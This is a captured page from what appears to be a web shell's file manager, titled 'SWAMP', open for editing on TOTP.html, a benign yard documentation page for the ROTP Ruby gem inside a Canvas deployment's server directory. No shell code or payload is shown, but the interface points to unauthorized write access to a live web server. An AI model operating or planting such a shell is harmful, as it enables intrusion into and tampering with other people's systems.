░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
pplmvsvm
LOCATION:
/var/www/canvas/vendor/bundle/ruby/3.1.0/gems/rotp-6.2.0/doc/ROTP
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: TOTP.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta name="Content-Type" content="text/html; charset=utf-8" /> <title>Class: ROTP::TOTP</title> <link rel="stylesheet" href="../css/style.css" type="text/css" media="screen" charset="utf-8" /> <link rel="stylesheet" href="../css/common.css" type="text/css" media="screen" charset="utf-8" /> <script type="text/javascript" charset="utf-8"> relpath = '..'; if (relpath != '') relpath += '/'; </script> <script type="text/javascript" charset="utf-8" src="../js/jquery.js"></script> <script type="text/javascript" charset="utf-8" src="../js/app.js"></script> </head> <body> <script type="text/javascript" charset="utf-8"> if (window.top.frames.main) document.body.className = 'frames'; </script> <div id="header"> <div id="menu"> <a href="../_index.html">Index (T)</a> » <span class='title'><span class='object_link'><a href="../ROTP.html" title="ROTP (module)">ROTP</a></span></span> » <span class="title">TOTP</span> <div class="noframes"><span class="title">(</span><a href="." target="_top">no frames</a><span class="title">)</span></div> </div> <div id="search"> <a id="class_list_link" href="#">Class List</a> <a id="method_list_link" href="#">Method List</a> <a id ="file_list_link" href="#">File List</a> </div> <div class="clear"></div> </div> <iframe id="search_frame"></iframe> <div id="content"><h1>Class: ROTP::TOTP </h1> <dl class="box"> <dt class="r1">Inherits:</dt> <dd class="r1"> <span class="inheritName"><span class='object_link'><a href="OTP.html" title="ROTP::OTP (class)">OTP</a></span></span> <ul class="fullTree"> <li>Object</li> <li class="next"><span class='object_link'><a href="OTP.html" title="ROTP::OTP (class)">OTP</a></span></li> <li class="next">ROTP::TOTP</li> </ul> <a href="#" class="inheritanceTree">show all</a> </dd> <dt class="r2 last">Defined in:</dt> <dd class="r2 last">lib/rotp/totp.rb</dd> </dl> <div class="clear"></div> <h2>Instance Attribute Summary <small>(<a href="#" class="summary_toggle">collapse</a>)</small></h2> <ul class="summary"> <li class="public "> <span class="summary_signature"> <a href="#interval-instance_method" title="#interval (instance method)">- (Object) <strong>interval</strong> </a> </span> <span class="note title readonly">readonly</span> <span class="summary_desc"><div class='inline'><p> Returns the value of attribute interval. </p> </div></span> </li> </ul> <h2> Instance Method Summary <small>(<a href="#" class="summary_toggle">collapse</a>)</small> </h2> <ul class="summary"> <li class="public "> <span class="summary_signature"> <a href="#at-instance_method" title="#at (instance method)">- (Object) <strong>at</strong>(time) </a> </span> <span class="summary_desc"><div class='inline'></div></span> </li> <li class="public "> <span class="summary_signature"> <a href="#initialize-instance_method" title="#initialize (instance method)">- (TOTP) <strong>initialize</strong>(s, options = {}) </a> </span> <span class="note title constructor">constructor</span> <span class="summary_desc"><div class='inline'><p> A new instance of TOTP. </p> </div></span> </li> <li class="public "> <span class="summary_signature"> <a href="#now-instance_method" title="#now (instance method)">- (Object) <strong>now</strong> </a> </span> <span class="summary_desc"><div class='inline'></div></span> </li> <li class="public "> <span class="summary_signature"> <a href="#provisioning_uri-instance_method" title="#provisioning_uri (instance method)">- (String) <strong>provisioning_uri</strong>(name) </a> </span> <span class="summary_desc"><div class='inline'><p> Returns the provisioning URI for the OTP This can then be encoded in a QR Code and used to provision the Google Authenticator app. </p> </div></span> </li> </ul> <h3 class="inherited">Methods inherited from <span class='object_link'><a href="OTP.html" title="ROTP::OTP (class)">OTP</a></span></h3> <p class="inherited"><span class='object_link'><a href="OTP.html#byte_secret-instance_method" title="ROTP::OTP#byte_secret (method)">#byte_secret</a></span>, <span class='object_link'><a href="OTP.html#generate_otp-instance_method" title="ROTP::OTP#generate_otp (method)">#generate_otp</a></span>, <span class='object_link'><a href="OTP.html#int_to_bytestring-instance_method" title="ROTP::OTP#int_to_bytestring (method)">#int_to_bytestring</a></span></p> <div id="constructor_details" class="method_details_list"> <h2>Constructor Details</h2> <div class="method_details first"> <p class="signature first" id="initialize-instance_method"> - (<tt><span class='object_link'><a href="" title="ROTP::TOTP (class)">TOTP</a></span></tt>) <strong>initialize</strong>(s, options = {}) </p><div class="docstring"> <div class="discussion"> <p> A new instance of TOTP </p> </div> </div> <div class="tags"> </div><table class="source_code"> <tr> <td> <pre class="lines"> 6 7 8 9</pre> </td> <td> <pre class="code"><span class="info file"># File 'lib/rotp/totp.rb', line 6</span> <span class='def def kw'>def</span> <span class='initialize identifier id'>initialize</span><span class='lparen token'>(</span><span class='s identifier id'>s</span><span class='comma token'>,</span> <span class='options identifier id'>options</span> <span class='assign token'>=</span> <span class='lbrace token'>{</span><span class='rbrace token'>}</span><span class='rparen token'>)</span> <span class='@interval ivar id'>@interval</span> <span class='assign token'>=</span> <span class='options identifier id'>options</span><span class='lbrack token'>[</span><span class='symbol val'>:interval</span><span class='rbrack token'>]</span> <span class='orop op'>||</span> <span class='integer val'>30</span> <span class='super super kw'>super</span> <span class='end end kw'>end</span> </pre> </td> </tr> </table> </div> </div> <div id="instance_attr_details" class="attr_details"> <h2>Instance Attribute Details</h2> <span id=""></span> <span id="interval-instance_method"></span> <div class="method_details first"> <p class="signature first" id="interval-instance_method"> - (<tt>Object</tt>) <strong>interval</strong> <span class="extras">(readonly)</span> </p><div class="docstring"> <div class="discussion"> <p> Returns the value of attribute interval </p> </div> </div> <div class="tags"> </div><table class="source_code"> <tr> <td> <pre class="lines"> 4 5 6</pre> </td> <td> <pre class="code"><span class="info file"># File 'lib/rotp/totp.rb', line 4</span> <span class='def def kw'>def</span> <span class='interval identifier id'>interval</span> <span class='@interval ivar id'>@interval</span> <span class='end end kw'>end</span> </pre> </td> </tr> </table> </div> </div> <div id="instance_method_details" class="method_details_list"> <h2>Instance Method Details</h2> <div class="method_details first"> <p class="signature first" id="at-instance_method"> - (<tt>Object</tt>) <strong>at</strong>(time) </p><table class="source_code"> <tr> <td> <pre class="lines"> 11 12 13 14 15 16</pre> </td> <td> <pre class="code"><span class="info file"># File 'lib/rotp/totp.rb', line 11</span> <span class='def def kw'>def</span> <span class='at identifier id'>at</span><span class='lparen token'>(</span><span class='time identifier id'>time</span><span class='rparen token'>)</span> <span class='unless unless kw'>unless</span> <span class='time identifier id'>time</span><span class='dot token'>.</span><span class='class identifier id'>class</span> <span class='eq op'>==</span> <span class='Time constant id'>Time</span> <span class='time identifier id'>time</span> <span class='assign token'>=</span> <span class='Time constant id'>Time</span><span class='dot token'>.</span><span class='at identifier id'>at</span><span class='lparen token'>(</span><span class='time identifier id'>time</span><span class='dot token'>.</span><span class='to_i identifier id'>to_i</span><span class='rparen token'>)</span> <span class='end end kw'>end</span> <span class='generate_otp identifier id'>generate_otp</span><span class='lparen token'>(</span><span class='timecode identifier id'>timecode</span><span class='lparen token'>(</span><span class='time identifier id'>time</span><span class='rparen token'>)</span><span class='rparen token'>)</span> <span class='end end kw'>end</span> </pre> </td> </tr> </table> </div> <div class="method_details "> <p class="signature " id="now-instance_method"> - (<tt>Object</tt>) <strong>now</strong> </p><table class="source_code"> <tr> <td> <pre class="lines"> 18 19 20</pre> </td> <td> <pre class="code"><span class="info file"># File 'lib/rotp/totp.rb', line 18</span> <span class='def def kw'>def</span> <span class='now identifier id'>now</span> <span class='generate_otp identifier id'>generate_otp</span><span class='lparen token'>(</span><span class='timecode identifier id'>timecode</span><span class='lparen token'>(</span><span class='Time constant id'>Time</span><span class='dot token'>.</span><span class='now identifier id'>now</span><span class='rparen token'>)</span><span class='rparen token'>)</span> <span class='end end kw'>end</span> </pre> </td> </tr> </table> </div> <div class="method_details "> <p class="signature " id="provisioning_uri-instance_method"> - (<tt>String</tt>) <strong>provisioning_uri</strong>(name) </p><div class="docstring"> <div class="discussion"> <p> Returns the provisioning URI for the OTP This can then be encoded in a QR Code and used to provision the Google Authenticator app </p> </div> </div> <div class="tags"> <h3>Parameters:</h3> <ul class="param"> <li> <span class='type'>(<tt>String</tt>)</span> <span class='name'>name</span> — <div class='inline'><p> of the account </p> </div> </li> </ul> <h3>Returns:</h3> <ul class="return"> <li> <span class='type'>(<tt>String</tt>)</span> — <div class='inline'><p> provisioning uri </p> </div> </li> </ul> </div><table class="source_code"> <tr> <td> <pre class="lines"> 27 28 29</pre> </td> <td> <pre class="code"><span class="info file"># File 'lib/rotp/totp.rb', line 27</span> <span class='def def kw'>def</span> <span class='provisioning_uri identifier id'>provisioning_uri</span><span class='lparen token'>(</span><span class='name identifier id'>name</span><span class='rparen token'>)</span> <span class='dstring node'>"otpauth://totp/#{URI.encode(name)}?secret=#{secret}"</span> <span class='end end kw'>end</span> </pre> </td> </tr> </table> </div> </div> </div> <div id="footer"> Generated on Sun Feb 13 12:31:41 2011 by <a href="http://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a> 0.6.4 (ruby-1.8.7). </div> </body> </html>
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 HOTP.html
HTML
7.4 KB
2023-09-24 03:47
EDIT
📄 OTP.html
HTML
17.1 KB
2023-09-24 03:47
EDIT
📄 TOTP.html
HTML
11.8 KB
2023-09-24 03:47
EDIT